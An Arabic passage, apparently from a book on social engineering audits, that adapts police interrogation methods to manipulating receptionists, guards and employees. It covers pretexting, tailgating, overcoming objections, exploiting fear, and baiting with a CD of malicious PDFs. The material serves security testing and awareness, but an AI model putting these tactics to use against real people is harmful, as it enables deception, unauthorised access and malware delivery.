‫ﯾﺗﻛون اﻻﺳﺗﺟواب اﻻﺣﺗراﻓﻲ ﻣن ﻋدد ﻣن اﻷﺟزاء‪ .‬اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﻧﺎﻗش ﻛل واﺣد‪ ،‬ﻓﻲ ﺳﯾﺎق ﻛﯾﻔﯾﺔ ﺗﻌﻠﻘﮭﺎ ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫اﻟﻤﻮاﺟﮭﺔ اﻹﯾﺠﺎﺑﯿﺔ )‪(Positive Confrontation‬‬ ‫‪-‬‬
‫ﻓﻲ ﻣﺟﺎل إﻧﻔﺎذ اﻟﻘﺎﻧون ﻻ ﺗﻌﻧﻲ اﻟﻣواﺟﮭﺔ اﻹﯾﺟﺎﺑﯾﺔ أي ﺷﻲء إﯾﺟﺎﺑﻲ وﺟﯾد‪ .‬ﻋﻠﻰ اﻟﻌﻛس ﻣن ذﻟك‪ ،‬ﻓﮭذا ﯾﻌﻧﻲ أن اﻟﺿﺎﺑط ﯾﻘول ﻟﻠﻣﺗﮭم اﻧﮫ ھو‬
‫اﻟذي ارﺗﻛب اﻟﺟرﯾﻣﺔ؛ وﺑﻌﺑﺎرة أﺧرى‪ ،‬ﻓﺈن اﻟﺿﺎﺑط ﯾﺻﻧﻊ اﺗﮭﺎم ﻗوي‪ .‬ﻓﻲ ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬رﻏم ذﻟك‪ ،‬ﻛﻧت ﺑﺎﻟﻔﻌل ﻗد ﺣددت‬
‫"اﻟﮭدف" وﺗرﯾد واﻵن أن ﺗذھب اﻟﯾﮫ وﺗﻘول )رﺑﻣﺎ ﺑﺎﺳﺗﺧدام ‪ NLP‬اﻟﻣذﻛورة ﺳﺎﺑﻘﺎ( ﻟﻠذي ﺗﺳﺗﮭدﻓﮫ أﻧﮫ ﺳوف ﯾﻔﻌل ﻣﺎ ﺗطﻠﺑﮫ ﻣﻧﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪861‬‬

‫اﻧت ﺗواﺟﮫ اﻟﮭدف ﻣﻊ اﻟﮭدف‪/‬اﻟﻐرض اﻟذي ﺳوف ﯾﺑدا ﺑﮫ ﻋﻠﻰ اﻟطرﯾﻖ ﻟﻔﻌل ﻣﺎ ﺗرﯾد‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻘﺗرب ﻣن‬
‫ﻣوظف اﻻﺳﺗﻘﺑﺎل وﯾﺳﺎل "ھل اﻟﺳﯾد ‪ CEO‬ﻣوﺟود؟ اﻧﺎ ﻋﻧدي اﺟﺗﻣﺎع ﻣﻌﮫ‪" .‬أو اﺳﺗﺧدام زاوﯾﺔ اﻟﻣواﺟﮭﺔ اﻹﯾﺟﺎﺑﯾﺔ" أﻧﺎ ھﻧﺎ ﻟﻠﻘﺎء ﻣﻊ اﻟﺳﯾد‬
‫‪ CEO‬ﻓﻲ اﻟﺳﺎﻋﺔ ‪ 11‬ﺻﺑﺎﺣﺎ‪" .‬ﻻﺣظ اﻟﻣﺛﺎل اﻟﺛﺎﻧﻲ اﻟﺣﺎﻟﺔ اﻹﯾﺟﺎﺑﯾﺔ‪ ،‬اﻻﺟﺗﻣﺎع ﯾﺗم ﺗﻌﯾﯾﻧﮫ‪.‬‬
‫وﺿﻊ اﻟﻤﻮﺿﻮع )‪(Theme Development‬‬ ‫‪-‬‬
‫ﺧﻠﻖ ﻣوﺿوع )‪ (Theme Development‬ﻓﻲ اﺳﺗﺟواﺑﺎت اﻟﺷرطﺔ ھو ﻋﻧدﻣﺎ ﯾﻘوم اﻟﻣﺣﻘﻖ ﺑوﺿﻊ ﻗﺻﺔ ﻟﯾﻔﺗرض ﻣﺛﻼ ﻛﯾف ﻗﺎم اﻟﻣﺷﺗﺑﮫ‬
‫ﺑﺎرﺗﻛﺎب اﻟﺟرﯾﻣﺔ‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﯾﺗم ﺗرﺣﯾل ﺗﻠك اﻟﻘﺻﺔ إﻟﻰ اﻟﻣﺗﮭم ﺧﻼل اﻻﺳﺗﺟواب ﻣﺛﻼ "اﻧﮫ اھﺎﻧك ﻓﺄﺻﺎﺑك ﺑﻌض اﻟﺟﻧون ﻓﻘﻣت‬
‫ﺑﺈﻣﺳﺎك أﻧﺑوب وﺑدأت ﺑﺿرب اﻟزﺟﺎج اﻷﻣﺎﻣﻲ ﻟﮫ"‪ .‬ﺑﯾﻧﻣﺎ اﻟﺿﺎﺑط ﯾﺣﻛﻲ اﻟﻘﺻﺔ‪ ،‬ﻓﺎن ﺷرﯾﻛﮫ ﯾراﻗب ﻟﻐﺔ اﻟﺟﺳد و‪microexpressions‬‬
‫ﻟﻠﻣﺷﺗﺑﮫ ﺑﮫ ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ھﻧﺎك ھﻲ أي أدﻟﺔ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺷﻛل ﺗواﻓﻖ ﻣﻊ اﻟﻘﺻﺔ‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﺳﺗﺧدام ھذه اﻟطرﯾﻘﺔ‪ ،‬ﻛﻣﺎ أﻧﻧﻲ أﺣب ان أﺷﯾر إﻟﯾﮭﺎ ﻣن وﺟﮭﺔ ﻧظر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﺿﻊ ﻣوﺿوع‬
‫)‪ (Theme Development‬ﯾﺣﺗﺎج أن ﯾرى اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ﻣن ﺧﻼل أﻋﯾن اﻟﮭدف‪.‬‬
‫ﺧﻠﻖ‪/‬وﺿﻊ ﻣوﺿوع )‪ (Theme Development‬ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھﻲ ﻋﻧدﻣﺎ ﺗﻛون أدﻟﺔ اﻟدﻋم اﻟﺧﺎﺻﺔ ﺑك واﻟﺗﻲ ﯾﺗم ﻋرﺿﮭﺎ‬
‫ﺗﻐذي ﻣﺑﺎﺷرة اﻟﻣوﺿوع اﻟذي ﻛﻧت ﺗﺗﺻوره‪ .‬اﻻﻗﺗراب ﻣﻊ اﻟﮭدف‪ ،‬ﺳواء ھﺎﺗﻔﯾﺎ أو ﺷﺧﺻﯾﺎ‪ ،‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻧطوي ﻋﻠﻰ ذرﯾﻌﺔ ﻣن ﻧوع ﻣﺎ‪ .‬اﻟذرﯾﻌﺔ‪،‬‬
‫ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﺗدﻋم اﻟﻘﺻﺔ أو اﻟﻣوﺿوع‪ .‬ھذا اﻟﺟزء ﻣن اﻻﺳﺗﺟواب ھو اﻟﻣﻛﺎن اﻟذي ﯾﻘدم أﺳﺑﺎب أو اﻟدﻋم ﻟﻠذرﯾﻌﺔ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﺳﺗﺧدﻣت ذرﯾﻌﺔ ﺑﺳﯾطﺔ ﺟدا واﻟﺗﻲ ﻛﺎﻧت ﻋﺑﺎره ﻋن ﻣوظف ﺑﺳﯾط ﯾﻧﺗﻣﻲ اﻟﻰ اﻟﺷرﻛﺔ‪ .‬ﺗﺳﻠﺣت ﺑﻣطﺑوﻋﺔ ﺗﺟﺎرﯾﺔ وﺟدت ﻓﻲ‬
‫ﺳﻠﺔ اﻟﻣﮭﻣﻼت‪ ،‬ﺗﺎﺑﻌت ﻋدد ﻗﻠﯾل ﻣن اﻟﻣوظﻔﯾن ﻣن ﺧﻼل اﻟﺑﺎب واﻟﻣﺿﻲ ﻧﺣو ﺣﺎرس اﻷﻣن‪ .‬ﻋﻧد اﻻﻗﺗراب ﻣن ﺣﺎرس أﻣن ﺑدأت ﻣﺣﺎدﺛﺔ‬
‫ﺑﺳﯾطﺔ ﺟدا ﻣﻊ أﺣد اﻟﻣوظﻔﯾن ﻋن ﻣﻘﺎل ﻓﻲ ﻣﺟﻠﺔ‪ .‬ﺳﺎھﻣت ﻛل أﻓﻌﺎﻟﻲ ﻓﻲ ﺧﻠﻖ اﻟﻣوﺿوع‪ .‬ھدﻓك ھو إﻋطﺎء اﻟﻧﺎس اﻟﻣﺑرر اﻟذي ﻋﺎدة ﯾﻣﻧﻌﮭم‬
‫ﻣن اﻟﻘﯾﺎم ﺑﻌﻣﻠﮭم وھو ﻣﻧﻌك ﻣن اﻟدﺧول‪ .‬ﻛﻠﻣﺎ ﻛﻧت ﻣﻧﺎﺳﺑﺎ‪ ،‬ﻛﻠﻣﺎ ﻛﻧت أﻗل وﻗوﻓﺎ‪ ،‬ﻛﻠﻣﺎ ﻛﺎن ﻣن اﻻﺳﮭل أﻋطﺎء ﻣﺑرر ﻣﻘﻧﻊ ﻟﺣراس اﻷﻣن ﻟﻌدم‬
‫وﻗﻔك واﻟﺳﻣﺎح ﻟك ﺑﺎﻟدﺧول‪.‬‬
‫اﻟﺘﻌﺎﻣﻞ ﻣﻊ اﻟﺤﻈﺮ واﻟﺘﻐﻠﺐ ﻋﻠﻰ اﻻﻋﺘﺮاﺿﺎت )‪(Handling Denials and Overcoming Objection‬‬ ‫‪-‬‬
‫ﺳواء ﻋﻠﻰ اﻟﮭﺎﺗف أو ﺷﺧﺻﯾﺎ‪ ،‬ﻣﺎ ھﻲ ﺧطﺔ اﻟﻌﻣل إذا ﺗم ﺣظرك ﻣن اﻟوﺻول إﻟﻰ ﻣﻛﺎن ﻣﺎ أو ﺣظرك ﻋن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺑﺣث ﻋﻧﮭﺎ؟ ﯾﺣﻠو‬
‫ﻟﻲ أن أﺳﻣﻲ ھذا ‪ .conversation stoppers‬اﻟﻧﺎس ﯾﺳﺗﺧدﻣون ھذا ﻣﻊ ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت ﻓﻲ ﻛل وﻗت‪" ،‬أﻧﺎ ﻏﯾر ﻣﮭﺗم"‪" ،‬ﻟﯾس ﻟدي اﻟوﻗت‬
‫اﻵن"‪" ،‬اﻧﺎ ﺳوف اﻏﺎدر ﺣﺎﻻ"‪...‬‬
‫ﻣﮭﻣﺎ ﻛﺎﻧت ﻧﻛﮭﺔ ‪ stoppers‬اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ‪ ،‬ﯾﺟب أن ﯾﻛون ﻟدﯾك ﺧطﺔ ﻟﻠﺗﻐﻠب ﻋﻠﯾﮭﺎ واﻟﺗﻌﺎﻣل ﻣﻊ اﻟﺣرﻣﺎن ﻣن اﻟوﺻول‪.‬‬
‫ﻋﻧدﻣﺎ ﻛﻧت ﻓﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬ﻋﻣﻠت ﻣﻊ رﺟل ﯾدﻋﻰ ﺗوﻧﻲ اﻟذي ﻛﺎن ﯾﻣﻠك ﺗﻛﺗﯾك اﻟطرق ﻋﻠﻰ اﻟﺑﺎب وﺗﻘدﯾم ﻧﻔﺳﮫ‪ ،‬وﺑدون ﺗوﻗف ﯾﻘول‪" :‬أﻧﺎ أﻋﻠم‬
‫أﻧك رﺑﻣﺎ ﺗرﯾد أن ﺗﻘول إﻧك ﻏﯾر ﻣﮭﺗم‪ ،‬وﻟﻛن ﻗﺑل أن ﺗﻔﻌل‪ ،‬أﯾﻣﻛﻧك اﻹﺟﺎﺑﺔ ﻋﻠﻰ ﺳؤال واﺣد‪ :‬واﻟذي ﺳوف ﯾﺄﺧذ ﺧﻣس دﻗﺎﺋﻖ ﻓﻘط ﻣن ﻗﯾﻣﺔ‬
‫وﻗﺗك؟ ﻋﻧد ھذه اﻟﻧﻘطﺔ‪ ،‬ﻓﺎن اﻟﺷﺧص اﻟذي ﻛﺎن ﻣن اﻟﻣرﺟﺢ أن ﯾﻘول‪" ،‬أﻧﺎ ﻏﯾر ﻣﮭﺗم"‪ .‬ﻣن ﺧﻼل إﻣﻛﺎﻧﯾﺔ اﻟﺗﻘﻠﯾل ﻣن اﻹﻧﻛﺎر واﻟﻣﺗﺎﺑﻌﺔ ﺑﺳؤال‪،‬‬
‫ﻛﺎن ﺗوﻧﻲ ﻗﺎدر ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ اﻟﮭدف ﻟﻠﺗﻔﻛﯾر ﻓﻲ ﺷﻲء آﺧر إﻟﻰ ﺟﺎﻧب اﻋﺗراﺿﮫ‪.‬‬
‫ﻋﻧد اﻻﺻطدام ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻻ ﯾﻣﻛﻧك اﻟﺳﯾر اﻟﻰ ﺣﺎرس اﻷﻣن وﺗﻘول ﻟﮫ‪" :‬أﻧﺎ أﻋﻠم أﻧك ﻻ ﺗرﯾد أن ﺗدع اﻟﻧﺎس اﻟﻐرﺑﺎء ﻣن اﻟدﺧول اﻟﻰ‬
‫اﻟﺑﺎب ‪ ...‬وﻟﻛن" ھذه اﻟطرﯾﻘﺔ ﺳﺗﺛﯾر اﻟﻛﺛﯾر ﻣن اﻟﺷﻛوك‪ .‬ﺑﺎﺳﺗﺧدام ھذه اﻟﻣﻧﮭﺟﯾﺔ ﻟﻠﺗﻐﻠب ﻋﻠﻰ اﻻﻋﺗراﺿﺎت ھو أﻛﺛر ﺗﻌﻘﯾدا ﺑﻛﺛﯾر ﺑﺎﻟﻧﺳﺑﺔ‬
‫ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻋﻠﯾك أن ﺗﻔﻛر ﻓﯾﻣﺎ ﻗد ﯾﻧﺷﺄ ﻣن اﻋﺗراﺿﺎت وﺗﻧظﯾم اﻟﻣوﺿوع اﻟﺧﺎص ﺑك‪ ،‬واﻟﻘﺻﺔ‪ ،‬واﻟﻠﺑﺎس‪ ،‬واﻟﺷﺧص ﻻﺳﺗﺑﺎق ﺗﻠك اﻻﻋﺗراﺿﺎت‪ .‬اﻻن‬
‫ﻟدﯾك إﺟﺎﺑﺔ ﺟﯾدة ﻹﻋطﺎﺋﮭﺎ ﻋﻧدﻣﺎ ﺗﺄﺗﻲ اﻻﻋﺗراﺿﺎت‪ .‬ﻻ ﯾﻣﻛﻧك ﻓﻘط ان ﺗﻛون ﺧﺎرج اﻟﺑﺎب أو ﻏﻠﻖ اﻟﮭﺎﺗف‪ .‬اﺳﺗراﺗﯾﺟﯾﺔ اﻟﺧروج اﻟﺟﯾدة ﺗﻣﻛﻧك‬
‫ﻣن أن ﺗﻌود ﻟﻠﮭﺟوم ﻓﻲ وﻗت ﻻﺣﻖ‪.‬‬
‫ﯾﻣﻛن وﺿﻊ اﺳﺗراﺗﯾﺟﯾﺔ ﻟﻠﺧروج ﺗﻛون ﺑﺳﯾطﺔ ﻣﺛل‪" ،‬ﺣﺳﻧﺎ‪ ،‬ﺳﯾدﺗﻲ‪ ،‬أﻧﺎ آﺳف أﻧك ﻟن ﺗﺳﻣﺢ ﻟﻲ ﺑرؤﯾﺔ اﻟﺳﯾد ﺳﻣﯾث‪ .‬وأﻧﺎ أﻋﻠم اﻧﮫ ﺳوف ﯾﺻﺎب‬
‫ﺑﺧﯾﺑﺔ أﻣل ﻛﺑﯾرة ﻷﻧﮫ ﻛﺎن ﯾﺗوﻗﻊ ﻣﻘﺎﺑﻠﺗﻲ‪ ،‬وﻟﻛن ﻋﻠﻰ اﻟﻌﻣوم اﻧﺎ ﺳوف اﺗﺻل ﺑﮫ ﻻﺣﻘﺎ واﺧذ ﻣوﻋد آﺧر‪.‬‬
‫اﻟﺤﻔﺎظ ﻋﻠﻰ اﻧﺘﺒﺎه اﻟﮭﺪف )‪(Keeping the Target’s Attention‬‬ ‫‪-‬‬
‫إذا ﺗﻌﺎﻣﻠت ﻣﻊ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺧﺎﺻﺔ ﺑك ﻓﺎﺧطوا ﺑﺷﻛل ﺻﺣﯾﺢ اﻟﻰ ھذه اﻟﻠﺣظﺔ وﻋﻧدﻣﺎ ﺗﻛون أﻣﺎم اﻟﮭدف‪ ،‬ﻓﺎن اﻟﮭدف ﺳوف ﯾﺑدأ ﻓﻲ‬
‫اﻟﺗﻔﻛﯾر ﻓﯾﻣﺎ ﺳﯾﺣدث إذا ﻟم ﯾﺳﻣﺢ ﺑﺎﻟوﺻول‪ ،‬أﺧذ اﻟﻣﻠف‪ ،‬أو ﻓﻌل ﻣﺎ ﺗطﻠﺑﮫ ﻣﻧﮫ‪ .‬ﺗﺣﺗﺎج إﻟﻰ ﺗﻐذﯾﺔ اﻟﮭدف ﺑﺎﻟﺧوف اﻟﻛﺎﻣن واﺳﺗﺧداﻣﮫ ﻟﻣواﺻﻠﺔ‬
‫ﺗﺣﯾرك اﻟﮭدف ﻟﮭدﻓك‪.‬‬
‫اﻟﺗﺻرﯾﺣﺎت اﻟﻘﺻﯾرة اﻟﻘﻠﯾﻠﺔ ﻣﺛل‪" ،‬ﺷﻛرا ﻟﻣﺳﺎﻋدﺗﻛم‪ .‬ﻛﻧت ﻋﺻﺑﯾﺎ ﺟدا ﺣول ھذه اﻟﻣﻘﺎﺑﻠﺔ اﻟﺗﻲ ﻣن اﻟواﺿﺢ أﻧﻧﻲ وﺿﻌت ﺗﺎرﯾﺧﮭﺎ ﺧطﺄ ﻓﻲ‬
‫اﻟﺗﻘوﯾم‪ .‬آﻣل أن ﯾﻛون اﻟﺳﯾد اﻟﻣدﯾر ‪ HR‬ﻓﻲ ﻣﻛﺎن أﻛﺛر دﻓﺋﺎ ﻣن ھﻧﺎ؟ "اﻟﺳﻣﺎح ﻟﻼﺳﺗﺟﺎﺑﺔ ﺛم ﺗﺎﺑﻊ‪ ":‬أرﯾد أن أﺷﻛرك ﻋﻠﻰ ﻣﺳﺎﻋدﺗك‪ .‬ﻋﻧدﻣﺎ‬
‫ﯾﻌود ﻣن اﻟﻣﻣﻛن ان اﺗواﺻل ﻣﻌﮫ ﻹﻧﺷﺎء ﻣوﻋد آﺧر؟"‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪862‬‬

‫ﺗﻘﺪﯾﻢ طﺮق ﺑﺪﯾﻠﺔ )‪(Presenting an Alternate Route‬‬ ‫‪-‬‬

‫ﻋﻧدﻣﺎ ﺗﺳﺗﺟوب اﻟﮭدف ﻓﻲ ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬اﻟﺧروج اﻟﻣﺣﺗﻣل ﻟطرﯾﻘك اﻷول ﻟن ﯾﻛون ﻣطﻌم ﺑﺎﻻﺑﺗﺳﺎﻣﺔ‪ ،‬ﻟذﻟك اﻣﺗﻼﻛك ﻟﻣﺳﺎر أﻗل‬
‫ﻛﻣﺳﺎرات ﻓﻌﺎﻟﮫ ﺟﺎھزة ھﻲ ﻓﻛرة ﺟﯾدة‪.‬‬
‫رﺑﻣﺎ ﻛﻧت ﻗد اﺳﺗﺧدﻣت ﻛل ھذه اﻟﺗﻛﺗﯾﻛﺎت ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻛﻲ ﺗﺻل اﻟﻰ ﺳﺎﻟﻲ‪ ،‬ﻣوظف اﻻﺳﺗﻘﺑﺎل‪ ،‬ﻟﺗﻣﻛﻧك ﻣن رؤﯾﺔ اﻟﺳﯾد ﺳﻣﯾث‪ .‬ﺟﻣﯾﻊ‬
‫اﻟﺗﻛﺗﯾﻛﺎت ﻓﺷﻠت ﻟدرﺟﺔ إﻧك ﺑدأت ﻏﻠﻖ ھذا اﻟﺣوار ﻣن اﻻﺳﺎس‪ .‬ﯾﺟب أن ﺗﻌد ﻣﺳﺎر ﺑدﯾل‪ ،‬ﻣﺛل "ﺳﺎﻟﻲ‪ ،‬أﻧﺎ أﻗدر ان ﻟدﯾك اﻟﺗﺄﻛد ﻣن اﻻﻣور ﺗﺗم‬
‫ﻋن طرﯾﻖ اﻟﻣوﻋد ﻓﻘط‪ .‬أﻧﺎ ﻓﻘط ﻟﺳت ﻣﺗﺄﻛدا ﻣﺗﻰ ﺳﺄﻋود ﻋﺑر ھذه اﻟﻣﻧطﻘﺔ‪ .‬ﻟﻛن ھل ﯾﻣﻛﻧﻧﻲ أن أﺗرﻛﻛﻰ ﻣﻊ ھذا اﻟﻘرص اﻟﻣﺿﻐوط ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﻟﺗﻌطﯾﮫ اﻟﻰ اﻟﺳﯾد ﺳﻣﯾث وﺑﻌد ذﻟك ﯾﻣﻛﻧﻧﻲ ﻣﺗﺎﺑﻌﺗك ﻣن ﺧﻼل اﻟﮭﺎﺗف ﻏدا ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﺳﯾﺗم ﺗﺣدﯾد ﻣوﻋد؟"‬
‫وﺟود ﻋدد ﻗﻠﯾل ﻣن اﻷﻗراص اﻟﻣدﻣﺟﺔ اﻟﺗﻲ أﻋدت ﻣﻊ ﺑﻌض ﻣﻠﻔﺎت ‪ PDF‬اﻟﻣﺷﻔرة ﺑﺷﻛل ﺿﺎر ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻋﻠﻰ ﺟﻌل ھذا اﻟطرﯾﻖ واﻗﻌﺎ‪،‬‬
‫ﻓﺿﻼ ﻋن وﺟود ﻣﻣﺎرﺳﺔ ﺛم اﺳﺗﺧدام أﺳﺎﻟﯾب اﻻﺳﺗﺟواب ﺑﺳرﻋﺔ‪.‬‬
‫ﺟﮭﺔ اﺗﺻﺎل أرﺳﻠت ﻟﻲ وﺛﯾﻘﺔ ذات ﻋﻧوان "‪ "Interview and Interrogation‬اﻟﻣﺳﺗﺧدﻣﺔ ﻣن ﻗﺑل وزارة اﻟدﻓﺎع ﻟﺗدرﯾب ﻣوظﻔﯾﮭﺎ ﻣن‬
‫اﻟﻣرور ﻣن ﺟﮭﺎز ﻛﺷف اﻟﻛذب‪ .‬اﻧﮭﺎ ﺗﺣدد اﻟﻣﻧﺎھﺞ اﻟﻣﺧﺗﻠﻔﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﺣﻘﻘون اﻟﻣﮭرة‪ ،‬وﻟﻘد ﻗدﻣﺗﮭﺎ ھﻧﺎ‪ .‬ﺑﺎﻟﻧظر ﻓﻲ ھذه اﻟﻣﻧﺎھﺞ‬
‫اﻟﻣﺧﺗﻠﻔﺔ ﯾﻣﻛن ﻟﻠﻣرء أن ﯾﺗﻌﻠم اﻟﻛﺛﯾر ﻋن اﻟطرق اﻟﻣﺧﺗﻠﻔﺔ اﻟﺗﻲ ﻗد ﺗﻛون ﻣﮭﻣﮫ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫اﻟﻧﮭﺞ اﻟﻣﺑﺎﺷر )‪ :(Direct approach‬اﻟﻣﺣﻘﻖ ﯾﻔﺗرض ﺟو ﻣن اﻟﺛﻘﺔ ﻓﻲ ھذا اﻟﻧﮭﺞ‪ .‬ﻣوﻗف وطرﯾﻘﺔ اﻟﻣﺣﻘﻖ ﯾﺳﺗﺑﻌد أن اﻟﻣﺗﮭم‬
‫ﺑريء ﻋﻠﻰ اﻹطﻼق‪ .‬دون ﺗﮭدﯾد‪ ،‬اﻟﻣﺣﻘﻖ ﯾﻧﺗزع ﺳﻼح اﻟﻣﺷﺗﺑﮫ ﻋن طرﯾﻖ ان ﯾﻘول ﻟﮫ أي ﺷﺧص آﺧر ﺳوف ﯾﻘﻌل اﻟﺷﻲء ﻧﻔﺳﮫ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﯾﻣﻛﻧك اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ اﻋﺗﻣﺎدا ﻋﻠﻰ اﻟذرﯾﻌﺔ )‪ (Pretext‬اﻟﺧﺎص ﺑك‪ .‬رﺑﻣﺎ ﺗﻛون ﻣدﯾر‪ ،‬ﻣﺳﺗﺷﺎر‪ ،‬أو أي ﺷﺧص آﺧر‬
‫ﻟدﯾﮫ اﻟﺳﻠطﺔ ﻋﻠﻰ اﻟﮭدف‪ .‬وھذا ﯾﻌﻧﻲ اﻧﮫ ﯾﺟب أن ﺗﻣﻠك ﺟو ﻣن اﻟﺛﻘﺔ وﺗﻔﺗرض أن اﻟﮭدف "ﯾدﯾن" ﻟك ﺑﺎﻟرد اﻟﺗﻲ ﺗﺳﻌﻰ اﻟﯾﮫ‪.‬‬
‫اﻟﻧﮭﺞ ﻏﯾر اﻟﻣﺑﺎﺷر )‪ :(Indirect approach‬ﯾﺳﻣﺢ ﻟﻠﻣﺷﺗﺑﮫ ﺑﮫ أن ﯾﻘول ﺟﺎﻧب ﻣن اﻟﻘﺻﺔ ﺑﺎﻟﺗﻔﺻﯾل واﻟﻣﺣﻘﻖ ﯾﺑﺣث ﻋن ﺳﮭو‪،‬‬
‫ﺗﻧﺎﻗﺿﺎت‪ ،‬وﺗﺷوھﺎت‪ .‬ﻣﮭﻣﺔ اﻟﻣﺣﻘﻖ ھﻲ اﻟﺳﻣﺎح ﻟﻠﻣﺷﺗﺑﮫ ان ﯾﻌرف أن أﻓﺿل ﻣﺳﺎر ﻟﻠﻌﻣل ھو أن ﯾﻘول اﻟﺣﻘﯾﻘﺔ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧك اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ ﻣن ﺧﻼل ﻋدم اﻻﻗﺗراب ﻣن اﻟﮭدف ﻓﻲ أي دور‪ ،‬وﻟﻛن رﺑﻣﺎ ﺑﺎﻋﺗﺑﺎرھﺎ ‪ ،Elicitation‬ﺳؤال‬
‫ﻣﺻﻣم ﻻﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﮭدف‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﮭدف ﻋن طرﯾﻖ اﻟﺳﻣﺎح ﻟﮫ ﺑذﻟك أﻛﺛر ﻣن اﻟﻛﻼم‪.‬‬
‫اﻟﻧﮭﺞ اﻟﻣﺗﻌﺎطف )‪ :(Sympathetic approach‬إن دﻟﯾل وزارة اﻟدﻓﺎع ‪ DOD‬ﯾﻘدم ﺑﻌض اﻷﻓﻛﺎر اﻟﻣﻣﺗﺎزة ﻋن ھذا اﻟﻧﮭﺞ‪.‬‬
‫اﻟﻣﺣﻘﻖ ﯾﺧﻔض ﺻوﺗﮫ وﯾﺗﺣدث ﺑﺻوت ﻣﻧﺧﻔض‪ ،‬اﻟﻠﮭﺟﺔ أﻛﺛر ھدو ًء واﻟﺗﻲ ﺗﻌطﻲ اﻧطﺑﺎع ﻋﻠﻰ أﻧﮫ ﯾﻔﮭم اﻟﺷﺧص‪ .‬ﯾﺟﻠس ﻋﻠﻰ ﻣﻘرﺑﺔ ﻣن اﻟﻣﺗﮭم‬
‫ورﺑﻣﺎ ﯾﺿﻊ ﯾده ﻋﻠﻰ ﻛﺗف اﻟﻣﺗﮭم أو ﯾرﺑت ﻟﮫ ﻋﻠﻰ ذراﻋﮫ‪ .‬اﻻﺗﺻﺎل اﻟﺟﺳدي ﻓﻲ اﻟوﻗت اﻟﻣﻧﺎﺳب ﻓﻌﺎل ﺟدا‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ ﺑﻧﻔس اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻌﺎﻣل ﺑﮭﺎ اﻟﻣﺣﻘﻖ‪ .‬رﺑﻣﺎ ﺗﺳﻣﻊ ﺑﻌض اﻟﻣوظﻔﯾن ﯾﺷﻛو ﻣن رﺋﯾﺳﮫ ﻛﻣﺎ ﻛﻧت‬
‫ﺗﻧﺗظر ﻟطرق اﻟﺑﺎب اﻟﺧﻠﻔﻲ‪ .‬أو رﺑﻣﺎ ﺗﺗﺑﻊ اﻟﮭدف إﻟﻰ ﻣﻘﮭﻰ ﻣﺣﻠﻲ واﻟدﺧول ﻓﻲ ﻣﺣﺎدﺛﺔ ﺣﯾث ﯾﻣﻛﻧك إظﮭﺎر اﻟﺗﻌﺎطف إﻟﻰ ﺣﺎﻟﺔ‪ .‬ﯾﻣﻛﻧك اﺳﺗﺧدام‬
‫ھذا اﻟﻧﮭﺞ ﻓﻲ ﻛل ﻣﻛﺎن‪ ،‬وأﻧﮭﺎ ﻓﻌﺎﻟﺔ ﺟدا‪.‬‬
